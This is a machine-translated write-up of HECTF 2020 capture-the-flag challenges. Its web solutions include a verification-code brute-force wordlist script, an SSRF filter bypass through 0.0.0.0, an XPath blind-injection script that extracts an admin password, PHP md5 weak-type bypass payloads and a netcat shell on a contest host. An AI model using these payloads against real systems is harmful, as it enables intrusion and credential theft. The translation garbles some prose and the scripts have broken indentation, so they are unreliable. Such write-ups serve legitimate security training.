HECTF_2020記事の一部

ここに画像の説明を挿入
HECTF_2020

web1


タイトルを開いて、携帯電話番号でログインする必要があることを確認します。F12ソースコードを表示して携帯電話番号を見つけます<-15970773575->;パスワードを取得してみます。ヒントのヒントに従ってください。 php、ブラストによって検証コードを取得する必要があり、長さは4ビットであることがわかりました。
スクリプトを使用して辞書を生成します

dz.py:
f=open('zidian.txt','w')
for i in range(9999):
    s=str(i)
    if len(s)==1:
        s="000"+s
    if len(s)==2:
        s="00"+s
    if len(s)==3:
        s="0"+s
    print s
f.write(s+'\n')

次に、bpを使用してクラックし
ここに画像の説明を挿入
、0233が確認コードであることを確認し、パスワードを変更してログインし、フラグを取得します
ここに画像の説明を挿入

Ssrf


ソースコードをチェックして、フィルタリングされていることを確認してください

ip2long('127.0.0.0')>>24==$int_ip>>24||ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;

url = http://loaclhost/flag.phpを使用してみてください。役に立たない場合は、最後にurl = http://0.0.0.0/flag.phpを使用してフラグを正常にバイパスしてください。

注入


トピックの名前はインジェクションですが、SQLインジェクションの結果が失敗し、エラーが見つかりました:警告:SimpleXMLElement :: xpath():
次に、トピックの説明「X ... X ... X.Xpath!Is」を確認してください。 it admin?フラグの形式はflag {}です。 ";エコーの結果がないため、Baiduはxpathインジェクションであることがわかったので、ブラインドインジェクションを試してください

import requests
url='http://114.55.165.246:8082/?'
r=requests.Session()
str_all="qwertyuiopasdfghjklzxcvbnm0123456789_!{}-"
def password():
    result=""
    for i in range(1,40):
        for j in str_all:
        payload="'orsubstring((//user[position()=1]/password),"+str(i)+",1)='"+j+"'or ''='"
       	  data="username="+payload+"&password=123"
            s=r.get(url+data+"&submit=%E7%99%BB%E5%BD%95")
            #print data+"&submit=%E7%99%BB%E5%BD%95"
            if 'not admin' in s.text:
                result+=j
                print(result)
                break
password()

最後に、
username = admin
password = 339db714647a1d66b85cd08442287841

ezphp


ソースコードの発見を監査する

if($_GET['param1']!==$_GET['param2']&&md5($_GET['param1'])===md5($_GET['param2'])){

ここで弱いタイプを使用してバイパスします。

param1[]=a&param2[]=s

次のステップに進みます

   $md5_1 = md5($string_1); 
            $md5_2 = md5($string_2); 
            if($md5_1 != $md5_2){ 
                $a = strtr($md5_1, 'cxhp', '0123'); 
                $b = strtr($md5_2, 'cxhp', '0123'); 
if($a == $b){
                echo $flag;
} 

md5の衝突が見つかりました。0eを使用してバイパスし、元の質問2019NJUPTのeasyphpを見つけて
くださいhttps ://zhzhdoai.github.io/2019/11/24/WRITEUP-2019NJUPT-web%E9%A2%98%E8%A7% A3 /

ここに画像の説明を挿入str1 = 2120624&str2 = 240610708の最終ペイロードを取得します。param1[] = a&param2 [] = b&str1 = 2120624&str2 = 240610708

[ブーム] Maybe_is_medium


予期しない解決策、nc 121.196.32.184 12003をリンクして、シェルを取得し、フラグを取得します

イージーメイズ


古いルーチンは
それを復元するために問題迷路にします迷路

ここに画像の説明を挿入1000011000
1100011100
0100010100
0111110100
0000110100
0000000100
0000000110
0000000010
0000000011
0000000001
0000000000
0000000000
00000000
歩行一旦フラグであります

png

kaliの画像をクリックして、IHDR:CRCエラーエラーを表示します。画像の幅と高さが変更されたと推測します。次に、ウィンドウにアップロードして画像を表示します。画像は少し小さくなり、下の幅と高さを変更できます。次の図に示すように、Winhex:
ここに画像の説明を挿入
画像を保存した後に表示されますフラグの半分に達したら、画像の分析を続けます。stringsコマンドを使用して画像の文字列を表示すると、次の文字列があることがわかります。最後にbase64を使用し、URL http://ctf.ssleye.com/を使用してURLを復号化し、フラグの残りの半分を取得します

言葉を話さない


ファイルを開くには、!?で構成されるコードの文字列があります。https://www.splitbrain.org/services/ookを使用してURLを復号化し、フラグを取得します。

ここでサインイン


https://www.sojson.com/encrypt_rabbit.htmlによってウサギの復号化
と復号化base64; base32が復号化され、hexが最終的に復号化されたフラグ

空白なし

コンテストで2つ目のヒントが得られた後、オンラインサイエンスの普及にアクセスして、これがBodoコードである
ことを確認し、httpsに移動しました。

rsa


公開鍵(n、e)と暗号文cは既知であるため、最初にyafuを使用してnをq、pに分解します。
スクリプトはフラグを解決します。

import gmpy2
p = 2499568793
q = 4568695582742345507136251229217400959960856046691733722988345503429689799935696593516299458516865110324638359470761456115925725067558499862591063153473862179550706262380644940013531317571260647226561004191266100720745936563550699000939117068559232225644277283541933064331891245169739139886735615435506152070330233107807124410892978280063993668726927377177983100529270996547002022341628251905780873531481682713820809147098305289391835297208890779643623465917824350382592808578978330348769060448006691307027594085634520759293965723855183484366752511654099121387261343686017189426761536281948007104498017003911
e = 65537
c = 575061710950381118206735073806398116370706587076775765253483131078316908073202143802386128272374323616239083134747318254436706806781744501903333604772961927966747648954315962269321297121495398057938617145017999482722197661065698707836824505023856306403892307944203245563411961302499347604417024064678999003637933185177922884103362203639349298263339808508185861692596967147081382566246627668898774233029198694500565511361867375668367875805985660705137109665107860799277624050210666866958502948062330037309873148963011192405012811945540153592090345668265964477204465327474208098404082920129178960510763496025906621820
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
h = hex(gmpy2.powmod(c, d, n))[2:]
if len(h) % 2 == 1:
    h = '0' + h
s = h.decode('hex')
print s

おすすめ

転載: blog.csdn.net/weixin_43923136/article/details/110220484